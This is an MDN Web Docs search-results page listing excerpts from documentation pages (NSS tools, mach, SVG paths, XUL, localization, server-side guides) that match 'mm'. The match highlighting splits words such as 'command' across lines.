... 9 abortcontroller.signal api, abortcontroller, experimental, fetch, property, reference, signal the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to co
mmunicate with/abort a dom request as desired.
... 10 abortsignal api, abortsignal, dom, experimental, interface, reference the abortsignal interface represents a signal object that allows you to co
mmunicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object.
...And 264 more matches
Editor Embedding Guide - Archive of obsolete content
the first parameter is the nsidomwindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window editable i
mmediately or when the document is done loading.
...a textarea; does not allow for html) "textmail" (similar to "text" but html can be inserted; intended for plaintext mail usage and handling of citations) "html" (this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (this is much like "html" except there are a few editing rules/behaviors that differ such as splitting of mail quotes) editor co
mmands you need to call co
mmands and receive updates in order to make any changes to the content on the browser.
...get the nsico
mmandmanager from the nsiwebbrowser using do_getinterface: nscomptr<nsico
mmandmanager> co
mmandmanager; nsiwebbrowser->do_getinterface(getter_addrefs(co
mmandmgr)); 2.
...And 124 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
found 528 pages: # page tags and su
mmary 1 mdn web docs glossary: definitions of web-related terms beginner, definitions, dictionary, glossary, index, landing, terminology web technologies contain long lists of jargon and abbreviations that are used in documentation and coding.
... 5 api codingscripting, glossary, infrastructure an api (application progra
mming interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface.
... 9 atag atag, accessibility, authoring tool accessibility guidelines, glossary atag (authoring tool accessibility guidelines) is a w3c reco
mmendation for building accessible-authoring tools that produce accessible contents.
...And 119 more matches
Key Values - Web APIs
corresponding virtual keycodes for co
mmon platforms are included where available.
...allows issuing special co
mmand inputs.
... this is the windows logo key, or the co
mmand or ⌘ key on mac keyboards.
...And 75 more matches
Index - Learn web development
found 348 pages: # page tags and su
mmary 1 learn web development beginner, css, html, index, intro, landing, learn, web welcome to the mdn learning area.
... 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a su
mmary of accessibility concerns for multimedia content, along with some practical solutions.
... 8 mobile accessibility accessibility, article, beginner, codingscripting, learn, mobile, responsive, screenreader, touch in this article, we have provided you with some details about co
mmon mobile accessibility-specific issues and how to overcome them.
...And 68 more matches
d - SVG: Scalable Vector Graphics
a path definition is a list of path co
mmands where each co
mmand is composed of a co
mmand letter and numbers that represent the co
mmand parameters.
... the co
mmands are detailed below.
... three elements have this attribute: <path>, <glyph>, and <missing-glyph> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path co
mmands that define the path to be drawn.
...And 55 more matches
mach
mach (german for to make) is a program via the "co
mmand-line interface" to help developers perform installation tasks such as installing firefox from its c++ source code.
...mach was co
mmitted on 2012-sep-26.
... if it works, you can look at compiler warnings: $ ./mach warnings-list try running the program: $ ./mach run try running your program in a debugger: $ ./mach run --debug try running some tests: $ ./mach xpcshell-test services/co
mmon/tests/unit/ or run an individual test: $ ./mach mochitest browser/base/content/test/general/browser_pinnedtabs.js you run mach from the source directory, so you should be able to use your shell's tab completion to tab-complete paths to tests.
...And 54 more matches
IME handling guide
preedit string), suggests a list of what the user attempts to input, co
mmits composition string as a selected item off the list and co
mmits composition string without any conversion.
...in native code, you can access it with either nsiselectioncontroller or mozilla::selectiontype (the latter is reco
mmended because of type safer).
...then, startcomposition(), setpendingcomposition(), flushpendingcomposition(), co
mmitcomposition(), etc.
...And 53 more matches
Midas
scripting for midas is based on the dhtml co
mmands supported by internet explorer.
... in addition to the built-in co
mmands, advanced editing can be done by manipulating the selection and range objects.
... examples this example shows the basic structure described in the notes section : <html> <head> <title>simple edit box</title> </head> <body> <iframe id="midasform" src="about:blank" onload="this.contentdocument.designmode='on';" ></iframe> </body> </html> methods document.execco
mmand executes the given co
mmand.
...And 40 more matches
NSS tools : certutil
name certutil — manage keys and certificate in both nss databases and other nss tokens synopsis certutil [options] [[arguments]] description the certificate database tool, certutil, is a co
mmand-line utility that can create and modify certificate and key databases.
... options and arguments running certutil always requires one and only one co
mmand option to specify the type of certificate operation.
...the co
mmand option -h will list all the co
mmand options available and their relevant arguments.
...And 37 more matches
Package management basics - Learn web development
a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a co
mmand line tool such as prettier or eslint, which we talked about in previous articles.
... in addition, package managers handle duplicate dependencies (something that becomes important and co
mmon in front-end development).
...npm, as well as being a package manager, is also the name of the most co
mmonly-used package registry for javascript packages.
...And 35 more matches
Introduction to the server side - Learn web development
overview: first steps next welcome to the mdn beginner's server-side progra
mming course!
... in this first article, we look at server-side progra
mming from a high level, answering questions such as "what is it?", "how does it differ from client-side progra
mming?", and "why it is so useful?".
... objective: to gain familiarity with what server-side progra
mming is, what it can do, and how it differs from client-side progra
mming.
...And 34 more matches
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a co
mmand-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens.
... syntax to run the security module database tool, type the co
mmand modutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... each co
mmand takes one option.
...And 33 more matches
certutil
synopsis certutil [options] arguments description the certificate database tool, certutil, is a co
mmand-line utility that can create and modify certificate and key database files.
...run the co
mmand option and -h to see the arguments available for each co
mmand option.
... -b run a series of co
mmands from the specified batch file.
...And 33 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a co
mmon sense approach to browser detection.
... although browser detection is perhaps the most co
mmon scripting task that every web developer faces, it seems that the variety of different strategies in use for detecting browsers is unlimited.
...for more specific gecko reco
mmendations, please see the gecko compatibility handbook gecko although many web developers are aware of firefox, mozilla, and netscape browsers, far fewer are aware that these browsers are members of an entire family of user agents based upon the gecko layout engine which includes the co
mmercial browser compuserve 7, and open source browsers such as epiphany, galeon, camino, kmeleon, and seamonke...
...And 32 more matches
Introducing a complete toolchain - Learn web development
note: it's also worth repeating that not all of these tools need to be run on the co
mmand line.
... as mentioned previously, github is a source code repository service that adds co
mmunity features such as issue tracking, following project releases and much more.
...it offers a way to "co
mmit" blocks of work as you progress, along with co
mments such as "x new feature implemented", or "bug z now fixed due to y changes".
...And 30 more matches
Redis Tips
so rather than thinking about redis as a database with some kind of non-existent relationship to sql, think of it as a data structure server with a rich set of co
mmands for querying and manipulating those data structures over a network connection.
... redis data types include: strings hashes lists sets ordered sets (called zsets in redis) transactions publishers and subscribers this table lists some co
mmon progra
mming tasks and data structures, and suggests some redis functions or data structures for them: dictionary lookup set, get, setnx, etc.
... there are three reasons to look at the docs for every co
mmand you use.
...And 30 more matches
sslfnc.html
ssl initialization functions ssl export policy functions ssl configuration functions ssl co
mmunication functions ssl functions used by callbacks ssl handshake functions nss shutdown function deprecated functions ssl initialization functions this section describes the initialization functions that are specific to ssl.
... ssl_enable_ssl3 enables the application to co
mmunicate with ssl v3.
... ssl_enable_ssl2 enables the application to co
mmunicate with ssl v2.
...And 29 more matches
Venkman Introduction - Archive of obsolete content
the javascript debugger, also called venkman, has been a part of the mozilla browser and the co
mmunity of web and script developers there for some time.
...features such as breakpoint management, call stack inspection, and variable/object inspection are available from the user interface and from console co
mmands, letting you work in the way you are most accustomed to.
...venkman's keyboard shortcuts are the same as leading visual debugging environments, and gdb users should be familiar with venkman's /break, /step, /next, /finish, /frame, and /where co
mmands.
...And 28 more matches
Server-side web frameworks - Learn web development
previous overview: first steps next the previous article showed you what the co
mmunication between web clients and servers looks like, the nature of http requests and responses, and what a server-side web application needs to do in order to respond to requests from a web browser.
...they provide tools and libraries that simplify co
mmon web development tasks, including routing urls to appropriate handlers, interacting with databases, supporting sessions and user authorization, formatting output (e.g.
... web frameworks provide tools and libraries to simplify co
mmon web development operations.
...And 28 more matches
Deploying our app - Learn web development
we can co
mmit our code and push to github and the updated code will automatically trigger the entire build routine.
... we're going to add the build co
mmand to our package.json file as an npm script, so that the co
mmand npm run build will trigger the build process.
... this step isn't necessary, but it is a good best practice to get into the habit of setting up — across all our projects, we can then rely on npm run build to always do the complete build step, without needing to remember the specific build co
mmand arguments for each project.
...And 28 more matches
Index
found 550 pages: # page tags and su
mmary 1 spidermonkey: the mozilla javascript runtime spidermonkey standalone source code releases can be found on the releases page.
... 6 gc rooting guide spidermonkey no su
mmary!
...the most co
mmonplace operations that are relevant for fast program execution are property accesses and function calls.
...And 27 more matches
CSS3 - Archive of obsolete content
modules and the standardization process css level 2 needed 9 years, from august 2002 to june 2011 to reach the reco
mmendation status.
...while some modules are already w3c reco
mmendations, other still are early working drafts.
... css modules status completed modules a few css modules already became a standard as a w3c reco
mmendation.
...And 26 more matches
NSS tools : signtool
for example, a co
mmercial software developer might sign the files that constitute a software product to prove that the files are indeed from a particular company.
...if the certificate authority's certificate isn't already installed in your copy of co
mmunicator, you typically install it by clicking the appropriate link on the certificate authority's web site, for example on the page from which you initiated enrollment for your signing certificate.
...ca certificates for several certificate authorities are preinstalled in the co
mmunicator certificate database.
...And 26 more matches
Introduction to automated testing - Learn web development
in this article, we look at what is available, how to use task runners, and how to use the basics of co
mmercial browser test automation apps such as lambdatest, sauce labs, browserstack, and testingbot.
... objective: to provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the co
mmercial products that make things easier.
...co
mmercial cross-browser testing apps like lambdatest, sauce labs, browserstack, and testingbot are based on selenium, but allow you to access their set up remotely using a simple interface, saving you the hassle of setting up your own testing system.
...And 25 more matches
Fundamental text and font styling - Learn web development
in this example we'll apply some different css properties to the same html sample, which looks like this: <h1>to
mmy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said to
mmy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat.
...truly a wonder of nature this urban predator — to
mmy the cat had many a story to tell.
... color can accept any css color unit, for example: p { color: red; } this will cause the paragraphs to become red, rather than the standard browser default black, like so: <h1>to
mmy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said to
mmy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat.
...And 24 more matches
Localizing with Mercurial
for the eager and quick, below you'll find instructions on installing and configuring mercurial, instructions on receiving an hg account co
mmit priviledges, as well as a few tasks you can complete without account priviledges.
... mercurial on linux you can easily install mercurial from the co
mmand line by issuing one of the following co
mmands.
... choose the appropriate co
mmand for your distribution and make sure to run as root.
...And 24 more matches
Setting up your own test automation environment - Learn web development
we will also look at how to integrate your local testing environment with co
mmercial tools like the ones discussed in the previous article.
... how you install and use webdriver depends on what progra
mming environment you want to use to write and run your tests.
... most popular environments have available a package or framework that will install webdriver and the bindings required to co
mmunicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc.
...And 23 more matches
Paths - SVG: Scalable Vector Graphics
while creating complex paths using an xml editor or text editor is not reco
mmended, understanding how they work will allow to identify and repair display issues in svgs.
...(see more in basic shapes.) the d attribute contains a series of co
mmands and parameters used by those co
mmands.
... each of the co
mmands is instantiated (for example, creating a class, naming and locating it) by a specific letter.
...And 23 more matches
Message manager overview
message managers are designed to enable chrome-privileged javascript code in one process to co
mmunicate with chrome-privileged javascript code in a different process.
... process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to co
mmunicate with code running in the child (content) process.
... frame message managers in multiprocess firefox, when chrome code needs to interact with web content, it needs to: factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to co
mmunicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts".
...And 22 more matches
Localizing with Koala
due to a bug in koala (bug 21930), it is reco
mmended that you don't choose a path that contains spaces (like c:\documents and settings\user\...).
...the easy way involves opening the console and issuing the following co
mmands: c:\users\stas> cd c:\mozilla\l10n\application\firefox c:\mozilla\l10n\application\firefox> rmdir 3.6 c:\mozilla\l10n\application\firefox> hg clone http://hg.mozilla.org/releases/mozilla-1.9.2 3.6 requesting all changes adding changesets adding manifests adding file changes added 33099 changesets with 158636 changes to 50664 files (+9 heads) updating working directory 40357 files updated, 0 f...
...iles merged, 0 files removed, 0 files unresolved configure the locale locale id: x-testing (put your locale's code) version: 3.6 location: choose the folder where you want to keep the localized files or leave empty for now check "mercurial" if you wish to use mercurial to keep the revision history of your files (very reco
mmended) existing localizations: url: if you're editing an existing localization or you already have a repository set up (either on hg.mozilla.org or bitbucket), type the url of the remote repository, e.g.
...And 22 more matches
Install script template - Archive of obsolete content
es to current browser block var pluginsfolder = getfolder("plugins"); //verify disk space if(verifydiskspace(pluginsfolder, plugin_size+component_size)) { // start installing plugin shared library reseterror(); // install the plugin shared library to the current browser's plugin directory errblock1 = addfile (plid, version, plugin_file, pluginsfolder, null); if (errblock1!=0) { logco
mment("could not add " + plugin_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } // start installing xpt file if this is a scriptable plugin // install to the plugins directory -- this works well in mozilla 1.0 clients // in mozilla 1.0 clients, the components directory can be avoided for xpt files errblock1 = addfile (plid, version, component_file, pluginsfold...
...er, null); if (errblock1!=0) { logco
mment("could not add " + component_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } } else { logco
mment("cancelling current browser install due to lack of space..."); cancellinstall(); } // secondary install block, which sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall block, in which error conditions from previous blocks are checked.
... // this block also invokes a function to write registry keys (plid) and checks return from key writing // this block invokes refreshplugins() to ensure that plugin and xpt are available for use i
mmediately if (errblock1 == success) { // installation to the current browser was a success - this is the most important job of this script!
...And 21 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
rhino is a java implementation of javascript which is co
mmonly embedded in java applications to expose scripting capability.
... id: 1 first_name: sa
mmy last_name: ha
mm department: it title: network administrator ---------- id: 2 first_name: nigel last_name: bitters department: finance title: accounting manager ...
...the co
mmon values for this attribute are explained below, though there are more than just these.
...And 21 more matches
An overview of NSS Internals
nss is a library written in the c progra
mming language.
...in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application progra
mming interfaces (apis) for os specific apis like file system access, memory management, network co
mmunication, and multithreaded progra
mming.
...this is often sufficient if you encrypt data for yourself, but as soon as you need to exchange signed/encrypted data with co
mmunication partners, using public key encryption simplifies the key management.
...And 21 more matches
cfx - Archive of obsolete content
cfx usage is: cfx [options] co
mmand [co
mmand-specific options] "options" are global options applicable to the tool itself or to all co
mmands (for example --help).
... cfx supports the following global options: -h, --help - show a help message and exit -v, --verbose - enable lots of output "co
mmand-specific options" are documented alongside the co
mmands.
... there are four supported cfx co
mmands: cfx init create a skeleton add-on as a starting point for your own add-on.
...And 20 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
and was originally published in japanese for the firefox developers conference su
mmer 2007.
... co
mmon attributes before we look at the various interface objects, let's look at some of their co
mmon attributes, especially the frequently used ones.
...as shown in table 1, there are four types of buttons that can be displayed, and you can set the names of the buttons you want to display as a co
mma-delimited list in the value of the buttons attribute.
...And 20 more matches
Setting Up a Development Environment - Archive of obsolete content
we reco
mmend komodo edit.
...that is more than what you can get with most other editors, so we reco
mmend you to give it a try.
... we reco
mmend git and github for source control, but any decent software configuration management system will do.
...And 20 more matches
Menus - Archive of obsolete content
menus a menu provides a list of co
mmands that the user can carry out.
...when the menu or button is clicked the menu is opened, listing the co
mmands that are available.
... the user may select a co
mmand to invoke it, or may cancel the operation by pressing escape or clicking outside the menu.
...And 20 more matches
Introduction to SSL - Archive of obsolete content
ssl has been universally accepted on the world wide web for authenticated and encrypted co
mmunication between clients and servers.
...the details of the protocol are available in request for co
mments (rfc): 2246,the tls protocol version 1.0.
...the document assumes that you are familiar with the basic concepts of public-key cryptography, as su
mmarized in "introduction to public-key cryptography." the ssl protocol the transmission control protocol/internet protocol (tcp/ip) governs the transport and routing of data over the internet.
...And 20 more matches
Hacking Tips
to work-around this issue you can use the recording feature of gdb, to step one instruction, and settle back to where you came from with the following set of gdb co
mmands: (gdb) record full (gdb) si (gdb) record goto 0 (gdb) record stop if you have a core file, you can use the gdb unwinder the same way, or do everything from the co
mmand line as follow: $ gdb -ex 'enable unwinder .* spidermonkey' -ex 'bt 0' -ex 'thread apply all backtrace' -ex 'quit' out/dist/bin/js corefile the gdb unwinder is supposed to be loaded by dist/bin/js-gdb.py and load python s...
...if gdb does not load the unwinder by default, you can force it to, by using the source co
mmand with the js-gdb.py file.
...once the breakpoint is on codegenerator function of the lir instruction, add a co
mmand to generate a static breakpoint in the generated code.
...And 20 more matches
nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execco
mmand(in domstring co
mmandid, in boolean doshowui, in domstring value); boolean execco
mmandshowhelp(in domstring co
mmandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean queryco
mmandenabled(in domstring co
mmandid); boolean queryco
mmandindeterm(in domstring co
mmandid); ...
... boolean queryco
mmandstate(in domstring co
mmandid); boolean queryco
mmandsupported(in domstring co
mmandid); domstring queryco
mmandtext(in domstring co
mmandid); obsolete since gecko 14.0 domstring queryco
mmandvalue(in domstring co
mmandid); void releaseevents(in long eventflags); void routeevent(in nsidomevent evt); void write(); obsolete since gecko 2.0 void writeln(); obsolete since gecko 2.0 attributes attribute type description alinkcolor domstring same as body.alink bgcolor domstring same as body.bgcolor compatmode domstring returns "backcompat" if the document is in quirks mode or "css1compat" if the document is in full standards or almost standards mode.
...execco
mmand() boolean execco
mmand( in domstring co
mmandid, in boolean doshowui, in domstring value ); parameters co
mmandid the name of the co
mmand to execute.
...And 20 more matches
Index
found 118 pages: # page tags and su
mmary 1 thunderbird thunderbird thunderbird is a mail/messaging application managed and developed by the thunderbird co
mmunity.
...see an overview of thunderbird components for a general description of the thunderbird user interface and related progra
mmatic interfaces.
... 6 activity manager interfaces thunderbird this page describes the progra
mmatic interfaces behind the activity manager component.
...And 20 more matches
<menuitem> - HTML: Hypertext Markup Language
the html <menuitem> element represents a co
mmand that a user is able to invoke through a popup menu.
... a co
mmand can either be defined explicitly, with a textual label and optional icon to describe its appearance, or alternatively as an indirect co
mmand whose behavior is defined by a separate element.
... co
mmands can also optionally include a checkbox or be grouped to share radio buttons.
...And 20 more matches
HTML documentation index - HTML: Hypertext Markup Language
found 237 pages: # page tags and su
mmary 1 html: hypertext markup language html, html5, landing, web, l10n:priority html (hypertext markup language) is the most basic building block of the web.
... 7 global attributes attribute, html, reference, web global attributes are attributes co
mmon to all html elements; they can be used on all elements, though they may have no effect on some elements.
...note that it is reco
mmended for styles to be defined in a separate file or files.
...And 20 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
rather than multiple if() else() blocks, you increase efficiency by taking co
mmon tasks and abstracting them out into their own functions.
... the dom level 1 methods, as shown in table 1, are co
mmonly used to move an element to a certain position and toggle its visibility (menus, animations).
... nextsibling returns the node i
mmediately following the current one.
...And 19 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
utocompletesearchparam, autofill, autofillaftermatch, autofill, completedefaultindex, crop, disableautocomplete, disableautocomplete, disabled, disablehistory, enablehistory, focused, forcecomplete, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, minresultsforpopup, nomatch, onchange, onerrorco
mmand, oninput, onsearchcomplete, ontextco
mmand, ontextentered, ontextrevert, ontextreverted, open, readonly, searchsessions, showco
mmentcolumn, showco
mmentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, edita...
...ble, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, issearching, iswaiting, label, maxlength, maxrows, minresultsforpopup, nomatch, open, popup, popupopen, resultspopup, searchcount, searchparam, searchsessions, selectionend, selectionstart, sessioncount, showco
mmentcolumn, showpopup, size, tabindex, tabscrolling, textlength, textvalue, timeout, type, useraction, value methods addsession, clearresults, getdefaultsession, getresultat, getresultcount, getresultvalueat, getsession, getsessionbyname, getsessionresultat, getsessionstatusat, getsessionvalueat, removesession, select, setselectionrange, syncsessions examples (example needed) attributes accesskey type: character this should be set to a character that is used as a shortcut...
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...And 19 more matches
What is JavaScript? - Learn web development
a high-level definition javascript is a scripting or progra
mming language that allows you to implement complex features on web pages — every time a web page does more than just sit there and display static information for you to look at — displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, etc.
... the core client-side javascript language consists of some co
mmon progra
mming features that allow you to do things like: store useful values inside variables.
... operations on pieces of text (known as "strings" in progra
mming).
...And 19 more matches
Introduction to client-side frameworks - Learn web development
users write papers, manage their budgets, stream music, watch movies, and co
mmunicate with others over great distances instantaneously, with text, audio or video chat.
...it is an older framework that has less users than more modern alternatives such as react and vue, but it still enjoys a fair amount of popularity due to its stability, co
mmunity support, and some clever coding principles.
... start learning ember angular angular is an open-source web application framework led by the angular team at google and by a co
mmunity of individuals and corporations.
...And 19 more matches
Localization content best practices
this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) co
mmon mistakes.
... it's important to consider this when adding strings, and especially localization co
mments for strings that contain references, or obscure technical details.
... add localization notes localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add co
mments to the localizable files themselves, too.
...And 19 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
er "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verification-----" #define ns_sig_header "-----begin signature-----" #define ns_sig_trailer "-----end signature-----" #define ns_cert_header "-----begin certificate-----" #define ns_cert_trailer "-----end certificate-----" /* sample 6 co
mmands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8, sig = 9 } headertype; /* * print usage message and exit ...
...r> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "co
mmands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in he...
... "-r <csr>"); fprintf(stderr, "%-30s - generate a self-signed cert [optional]\n\n", "-x"); fprintf(stderr, "%-30s - to enable ascii [optional]\n\n", "-a"); fprintf(stderr, "%-30s - to save certificate to header file as sig verification [optional]\n\n", "-v"); exit(-1); } /* * validate the options used for generate csr co
mmand */ static void validategeneratecsrco
mmand(const char *progname, const char *dbdir, certname *subject, const char *subjectstr, const char *certreqfilename) { prbool validationfailed = pr_false; if (!subject) { pr_fprintf(pr_stderr, "%s -g -d %s -s: improperly...
...And 19 more matches
nsIMsgDBView
iewsortordervalue sortorder, in nsmsgviewflagstypevalue viewflags, out long count); void openwithhdrs(in nsisimpleenumerator aheaders, in nsmsgviewsorttypevalue asorttype, in nsmsgviewsortordervalue asortorder, in nsmsgviewflagstypevalue aviewflags, out long acount); void close(); void init(in nsimessenger amessengerinstance, in nsimsgwindow amsgwindow, in nsimsgdbviewco
mmandupdater aco
mmandupdater); void sort(in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder); void doco
mmand(in nsmsgviewco
mmandtypevalue co
mmand); void doco
mmandwithfolder(in nsmsgviewco
mmandtypevalue co
mmand, in nsimsgfolder destfolder); void getco
mmandstatus(in nsmsgviewco
mmandtypevalue co
mmand, out boolean selectable_p, out nsmsgviewco
mma...
...us(in nsmsgnavigationtypevalue motion); nsmsgkey getkeyat(in nsmsgviewindex index); nsimsgdbhdr getmsghdrat(in nsmsgviewindex index); nsimsgfolder getfolderforviewindex(in nsmsgviewindex index); acstring geturiforviewindex(in nsmsgviewindex index); nsimsgdbview clonedbview(in nsimessenger amessengerinstance, in nsimsgwindow amsgwindow, in nsimsgdbviewco
mmandupdater aco
mmandupdater); void geturisforselection([array, size_is(count)] out string uris, out unsigned long count); void getindicesforselection([array, size_is(count)] out nsmsgviewindex indices, out unsigned long count); void loadmessagebymsgkey(in nsmsgkey amsgkey); void loadmessagebyviewindex(in nsmsgviewindex aindex); void loadmessagebyurl(in s...
... suppressco
mmandupdating boolean suppress co
mmand updating.
...And 19 more matches
Web video codec guide - Web media technologies
this guide introduces the video codecs you're most likely to encounter or consider using on the web, su
mmaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video.
... co
mmon codecs the following video codecs are those which are most co
mmonly used on the web.
...there are many forms of aliasing; the most co
mmon ones you may see include: moiré patterns a unknown prefix: moiré pattern.
...And 19 more matches
JXON - Archive of obsolete content
all other information (like processing instructions, schemas, co
mments, etc.) will be lost.
...unco
mment the optional properties first!
...try: alert(json.stringify(myobject)); note: if you want to freeze the whole object tree (because of the "static" nature of an xml document), unco
mment the string: /* object.freeze(this); */.
...And 18 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, co
mmon name , language, homepage etc...) from the enterprise directory.
...me"); var env_home = getenv("homepath"); } var env_mozdebug= getenv("mozilla_debug"); // 2) define here (because if set after "3)" below it doesn't work !) processldapvalues which is eventually called by getldapattributes() just below, // check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues /* co
mmented all this section about ldap calls, not supported in ff5 packages :-( function processldapvalues (values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue ( values ,"uid" ); var cn = getldapvalue ( values ,"cn" ); var mail = getldapvalue ( values ,"mail" ); var url = getldapv...
... // getldapattributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeleduri"); // close the try, and call the catch() } catch(e) {displayerror("lockedpref", e);} if ldap call are unco
mmented in the preference file above, then i get a popup with: netscape.cfg/autoconfig failed.
...And 18 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
unlike native code installers (for example, files called setup.exe), the progra
mming language for install operations in xpi is javascript.
... netscape co
mmunicator 4.x does not support xpinstall.
...for those familiar with netscape co
mmunicator 4.x's smartupdate technology, this will be a familiar idea.
...And 18 more matches
TCP/IP Security - Archive of obsolete content
tcp/ip is widely used throughout the world to provide network co
mmunications.
... tcp/ip co
mmunications are composed of four layers that work together.
... the transport layer can optionally assure the reliability of co
mmunications.
...And 18 more matches
sample2
*/ #ifndef port_errortostring #define port_errortostring(err) pr_errortostring((err), pr_language_i_default) #endif /* sample 6 co
mmands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8, sig = 9 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s %s %s %s %s %s %s %s %s %s\n\n"...
...s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "co
mmands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <...
...issuernickname>"); fprintf(stderr, "%-30s - certificate signing request \n\n", "-r <csr>"); fprintf(stderr, "%-30s - generate a self-signed cert [optional]\n\n", "-x"); fprintf(stderr, "%-30s - to enable ascii [optional]\n\n", "-a"); fprintf(stderr, "%-30s - to save certificate to header file as sig verification [optional]\n\n", "-v"); exit(-1); } /* * validate the options used for generate csr co
mmand */ static void validategeneratecsrco
mmand(const char *progname, const char *dbdir, certname *subject, const char *subjectstr, const char *certreqfilename) { prbool validationfailed = pr_false; if (!subject) { pr_fprintf(pr_stderr, "%s -g -d %s -s: improperly formatted name: \"%s\"\n", progname, dbdir, subjectstr); validationfailed = pr_true; } if (!certreqfilename) { pr_fprintf(pr_stderr, "%s ...
...And 18 more matches
SVGPathSeg - Web APIs
svg path segment interface this is a base interface that corresponds to a single co
mmand within a path data specification.
... pathseg_closepath 1 corresponds to a "closepath" (z) path data co
